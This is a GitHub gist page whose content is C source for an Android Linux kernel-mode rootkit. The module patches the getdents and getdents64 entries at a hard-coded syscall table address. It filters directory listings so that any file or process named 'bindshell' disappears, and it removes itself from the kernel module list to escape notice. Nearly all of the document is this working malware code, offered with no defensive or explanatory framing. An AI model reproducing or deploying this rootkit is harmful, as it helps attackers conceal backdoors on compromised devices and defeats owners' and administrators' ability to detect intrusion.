Skip to content

Instantly share code, notes, and snippets.

@ia
Created June 6, 2022 21:57
Show Gist options
  • Save ia/13a6d7047cc5fd19eab160e0ec000cc4 to your computer and use it in GitHub Desktop.
Save ia/13a6d7047cc5fd19eab160e0ec000cc4 to your computer and use it in GitHub Desktop.
LEGACY: Android Linux Kernel-mode rootkit // source/date: unknown
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/stddef.h>
#include <linux/unistd.h>
#include <linux/string.h>
#include <linux/mm.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/file.h>
#include <linux/proc_fs.h>
#include <linux/namei.h>
#include <linux/dirent.h>
#include <linux/list.h>
#include <linux/spinlock.h>
#include <asm/processor.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/cacheflush.h>
/*
#define CLEAR_CR0 asm ("pushl %eax\n\t" \
"movl %cr0, %eax\n\t" \
"andl $0xfffeffff, %eax\n\t" \
"movl %eax, %cr0\n\t" \
"popl %eax");
#define SET_CR0 asm ("pushl %eax\n\t" \
"movl %cr0, %eax\n\t" \
"orl $0x00010000, %eax\n\t" \
"movl %eax, %cr0\n\t" \
"popl %eax");
*/
#define CLEAR_CR0
#define SET_CR0
#define HIDE_FILE "bindshell"
#define HIDE_PROC "bindshell"
struct module *wnps_m = &__this_module;
struct list_head *wnps_prev_m;
void **sys_call_table;
spinlock_t wnps_lock = SPIN_LOCK_UNLOCKED;
asmlinkage long new_getdents64(unsigned int fd, struct linux_dirent64 __user * dirent,
unsigned int count);
asmlinkage long (*orig_getdents64)(unsigned int fd, struct linux_dirent64 __user * dirent,
unsigned int count);
asmlinkage long new_getdents(unsigned int fd, struct dirent __user * dirent,
unsigned int count);
asmlinkage long (*orig_getdents)(unsigned int fd, struct dirent __user * dirent,
unsigned int count);
asmlinkage long new_getdents64(unsigned int fd, struct linux_dirent64 __user * dirent,
unsigned int count)
{
struct linux_dirent64 *curr_dirent = NULL;
struct linux_dirent64 *tmp_dirent = NULL;
struct inode *proc_node;
int ret, len;
int hide_flag = 1, hide_proc = 0;
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,14)
proc_node = current->files->fdt->fd[fd]->f_dentry->d_inode;
#else
proc_node = current->files->fd[fd]->f_dentry->d_inode;
#endif
ret = (*orig_getdents64)(fd, dirent, count);
if (ret > 0) {
curr_dirent = (struct linux_dirent64 *)kmalloc(ret, GFP_KERNEL);
if (!curr_dirent)
goto out;
if (copy_from_user(curr_dirent, dirent, ret)) {
kfree(curr_dirent);
goto out;
}
len = ret;
tmp_dirent = curr_dirent;
while (len > 0) {
len -= tmp_dirent->d_reclen;
hide_flag = 1;
if (proc_node->i_ino == PROC_ROOT_INO) {
struct task_struct *tsk = current;
for_each_process(tsk) {
if (tsk->pid ==
simple_strtoul(tmp_dirent->d_name, NULL, 10)) {
printk("%s", "found task.\n");
break;
}
}
if (strstr(tsk->comm, HIDE_PROC) != NULL) {
printk("%s", "it's our task.\n");
hide_proc = 1;
}
}
/* check the file is our hide file. */
if ((hide_proc == 1) || (strstr(tmp_dirent->d_name, HIDE_FILE) != NULL)) {
ret -= tmp_dirent->d_reclen;
hide_flag = 0;
if (len) {
memmove(tmp_dirent,
(char *)tmp_dirent + tmp_dirent->d_reclen, len);
}
}
if (len && hide_flag)
tmp_dirent = (struct linux_dirent64 *)((char *)tmp_dirent
+ tmp_dirent->d_reclen);
hide_proc = 0;
}
if (copy_to_user((void *)dirent, (void *)curr_dirent, ret)) {
kfree(curr_dirent);
goto out;
}
kfree(curr_dirent);
}
out:
return ret;
}
asmlinkage long new_getdents(unsigned int fd, struct dirent __user * dirent,
unsigned int count)
{
struct dirent *curr_dirent = NULL;
struct dirent *tmp_dirent = NULL;
struct inode *proc_node;
int ret, len;
int hide_flag = 1, hide_proc = 0;
unsigned long hpid = 0;
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,14)
proc_node = current->files->fdt->fd[fd]->f_dentry->d_inode;
#else
proc_node = current->files->fd[fd]->f_dentry->d_inode;
#endif
ret = (*orig_getdents)(fd, dirent, count);
if (ret > 0) {
curr_dirent = (struct dirent *)kmalloc(ret, GFP_KERNEL);
if (!curr_dirent)
goto out;
if (copy_from_user(curr_dirent, dirent, ret)) {
kfree(curr_dirent);
goto out;
}
len = ret;
tmp_dirent = curr_dirent;
while (len > 0) {
len -= tmp_dirent->d_reclen;
hide_flag = 1;
hide_proc = 0;
hpid = 0;
hpid = simple_strtoul(tmp_dirent->d_name, NULL, 10);
if (hpid != 0) {
struct task_struct *tsk = current;
for_each_process(tsk) {
if (tsk->pid == hpid) {
break;
}
}
if ((tsk->pid == hpid) &&
(strstr(tsk->comm, HIDE_PROC) != NULL)) {
hide_proc = 1;
}
}
if ((hide_proc == 1) ||
(strstr(tmp_dirent->d_name, HIDE_FILE) != NULL)) {
ret -= tmp_dirent->d_reclen;
hide_flag = 0;
if (len) {
memmove(tmp_dirent,
(char *)tmp_dirent + tmp_dirent->d_reclen,
len);
}
}
if (len && hide_flag) {
tmp_dirent =
(struct linux_dirent64 *)
((char *)tmp_dirent + tmp_dirent->d_reclen);
}
}
if (copy_to_user((void *)dirent, (void *)curr_dirent, ret)) {
kfree(curr_dirent);
goto out;
}
kfree(curr_dirent);
}
out:
return ret;
}
int hook_init(void)
{
wnps_prev_m = wnps_m->list.prev;
if (wnps_m->init == hook_init)
list_del(&wnps_m->list);
printk(KERN_INFO "hi, android.\n");
sys_call_table = 0xc0020ac4;
printk("sys_call_table: 0x%08x\n", sys_call_table);
orig_getdents64 = sys_call_table[__NR_getdents64];
orig_getdents = sys_call_table[__NR_getdents];
spin_lock(&wnps_lock);
CLEAR_CR0
sys_call_table[__NR_getdents64] = new_getdents64;
sys_call_table[__NR_getdents] = new_getdents;
SET_CR0
spin_unlock(&wnps_lock);
printk("install hook ok.\n");
return 0;
}
void hook_exit(void)
{
list_add_tail(&wnps_m->list, wnps_prev_m);
spin_lock(&wnps_lock);
CLEAR_CR0
sys_call_table[__NR_getdents64] = orig_getdents64;
sys_call_table[__NR_getdents] = orig_getdents;
SET_CR0
spin_unlock(&wnps_lock);
printk("uninstall hook ok.\n");
}
module_init(hook_init);
module_exit(hook_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment